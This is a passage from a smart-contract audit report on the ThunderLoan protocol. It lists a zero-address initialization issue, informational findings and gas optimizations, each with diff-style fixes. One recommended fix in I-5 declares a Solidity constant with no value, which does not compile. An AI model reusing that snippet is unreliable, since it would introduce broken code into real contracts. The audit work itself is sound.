1       function __Oracle_init(address poolFactoryAddress) internal
            onlyInitializing {
2           __Ownable_init();
3           // ...
4           s_poolFactory = poolFactoryAddress;
5       }
```

If `poolFactoryAddress` is `address(0)`, the assignment succeeds, and the protocol initializes with a broken oracle. Subsequent calls to `getPriceInWeth` will attempt to call functions on the zero address, causing reverts.

Recommended Mitigation:

Add a conditional to validate that `poolFactoryAddress` is not the zero address, using a custom revert if the condition is false.

```
1   +   error OracleUpgradeable__InvalidPoolFactory();
2       .
3       .
4       .
5       function __Oracle_init(address poolFactoryAddress) internal
            onlyInitializing {
6   +       if (poolFactoryAddress == address(0)) revert
        OracleUpgradeable__InvalidPoolFactory();
7           s_poolFactory = poolFactoryAddress;
8       }
```

Informational

[I-1] Poor Test Coverage

Description:

The test coverage for the ThunderLoan system is too low.

```
Running tests...
| File                                | % Lines        | % Statements
   | % Branches    | % Funcs        |
| ----------------------------------- | -------------- | --------------
   | ------------- | -------------- |
| src/protocol/AssetToken.sol         | 70.00% (7/10)  | 76.92% (10/13)
   | 50.00% (1/2)  | 66.67% (4/6)   |
| src/protocol/OracleUpgradeable.sol | 100.00% (6/6)  | 100.00% (9/9)
   | 100.00% (0/0) | 80.00% (4/5)   |
| src/protocol/ThunderLoan.sol        | 64.52% (40/62) | 68.35% (54/79)
   | 37.50% (6/16) | 71.43% (10/14) |
```

Recommended Mitigation:

Aim to get test coverage up to over 90% for all files.

[I-2] Unused Import Statement

Description:

In `IFlashLoanReceiver.sol` the following import statement is unused.

```
import { IThunderLoan } from "./IThunderLoan.sol";
```

Recommended Mitigation:

For usage of this interface in mocks or tests, consider importing it separately.

[I-3] Mismatched Function Definition in Interface

Description:

In `IThunderLoan.sol` the interface defines the `repay` function as such:

```
    interface IThunderLoan {
        function repay(address token, uint256 amount) external;
    }
```

However, the `ThunderLoan.sol` contract defines the `repay` function as such:

```
1     function repay(IERC20 token, uint256 amount) public {...}
```

Recommended Mitigation:

Consider fixing the interface definition to match the actual `ThunderLoan.sol` definition.

[I-4] Main Functions in `ThunderLoan.sol` Are Missing NatSpec

Description:

Functions in `ThunderLoan.sol`, such as `repay`, `flashloan`, and `deposit` are missing proper NatSpec documentation.

Recommended Mitigation:

Consider adding proper NatSpec documentation for at least the main public and external functions.

[I-5] Variables That Are Never Updated Should be Marked as Constant

Description:

The `ThunderLoan::s_feePrecision` variable is never updated.

```
1     uint256 private s_feePrecision;
```

Recommended Mitigation:

Consider marking `ThunderLoan::s_feePrecision` as a constant variable.

```
1 -   uint256 private s_feePrecision;
2 +   uint256 private constant FEE_PRECISION;
```

[I-6] Empty Function Body in `ThunderLoan::_authorizeUpgrade` Lacks Documentation, Reducing Code Clarity

Description:

The `ThunderLoan` contract inherits from OpenZeppelin's `UUPSUpgradeable`, which requires the inheriting contract to override the `_authorizeUpgrade` function. The overridden function is empty except for the `onlyOwner` modifier:

```
1 function _authorizeUpgrade(address newImplementation) internal override
      onlyOwner { }
```

While this implementation is functionally correct, restricting upgrade authorization to the contract owner, the empty function body lacks any inline documentation explaining why it is empty. This can confuse auditors or future developers who may mistakenly believe that additional logic is missing.

Impact:

This issue has a two-fold impact: reduced readability and maintenance risk. First, developers unfamiliar with UUPS may not immediately understand that an empty `_authorizeUpgrade` is the intended pattern for a simple owner-controlled upgrade mechanism. Second, a future upgrade might inadvertently add logic to this function without understanding the security implications.

There is no direct security vulnerability arising from the empty function body itself; the issue is purely one of code clarity and maintainability.

Recommended Mitigation:

Add a NatSpec comment to clarify the intent of the empty function body. For example:

```
+   /// @notice Authorizes a contract upgrade. Only callable by the owner.
+   /// @dev The empty body is intentional; the `onlyOwner` modifier is the sole authorization check.
    function _authorizeUpgrade(address newImplementation) internal override onlyOwner { }
```

This minor documentation improvement enhances code readability and reduces the likelihood of future misunderstandings during audits or protocol upgrades.

Gas

[G-1] Using Bools for Storage Incurs Overhead

Description:

Using the `bool` type incurs storage overhead.

```
    mapping(IERC20 token => bool currentlyFlashLoaning) private s_currentlyFlashLoaning;
```

Recommended Mitigation:

Use `uint256(1)` and `uint256(2)` for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

```
- mapping(IERC20 token => bool currentlyFlashLoaning) private s_currentlyFlashLoaning;
```

```
2 + mapping(IERC20 token => uint256 currentlyFlashLoaning) private
      s_currentlyFlashLoaning;
```

[G-2] Using `private` Instead of `public` for Constants, Saves Gas

Description:

Utilizing public visibility for variables incurs a greater gas cost.

In `src/protocol/AssetToken.sol` the following constant is marked as public.

```
1     uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

In `src/protocol/ThunderLoan.sol` the following constant is marked as public.

```
1     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee
2     uint256 public constant FEE_PRECISION = 1e18;
```

Recommended Mitigation:

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. This saves 3406-3606 gas in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it is used, and not adding another entry to the method ID table.

Mark the aforementioned constants as private.

In `src/protocol/AssetToken.sol`:

```
1 -   uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
2 +   uint256 private constant EXCHANGE_RATE_PRECISION = 1e18;
```

In `src/protocol/ThunderLoan.sol`:

```
1 -   uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee
2 -   uint256 public constant FEE_PRECISION = 1e18;
3 +   uint256 private constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee
4 +   uint256 private constant FEE_PRECISION = 1e18;
```

[G-3] Unnecessary SLOAD When Logging New Exchange Rate

Description:

In `AssetToken::updateExchangeRate`, after writing the `newExchangeRate` to storage, the function reads the value from storage (which is gas-costly) again to log it in the `ExchangeRateUpdated` event.

Recommended Mitigation:

To avoid the unnecessary SLOAD, you can log the value of `newExchangeRate`.

```
  s_exchangeRate = newExchangeRate;
- emit ExchangeRateUpdated(s_exchangeRate);
+ emit ExchangeRateUpdated(newExchangeRate);
```

[G-4]: Unused Error in `ThunderLoan.sol`

Description:

The `ThunderLoan::ThunderLoan__ExhangeRateCanOnlyIncrease` error is unused.

```
    error ThunderLoan__ExhangeRateCanOnlyIncrease();
```

Recommended Mitigation:

Consider using or removing the unused error.

[G-5] Mark Unused Functions As External

Description:

The `ThunderLoan::repay` function is never invoked in the `ThunderLoan` contract.

```
    function repay(IERC20 token, uint256 amount) public {
        if (!s_currentlyFlashLoaning[token]) {
            revert ThunderLoan__NotCurrentlyFlashLoaning();
        }
        AssetToken assetToken = s_tokenToAssetToken[token];
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

Recommended Mitigation:

Mark the `repay` function as `external` instead of **`public`** to save gas.

```
-    function repay(IERC20 token, uint256 amount) public {...}
+    function repay(IERC20 token, uint256 amount) external {...}
```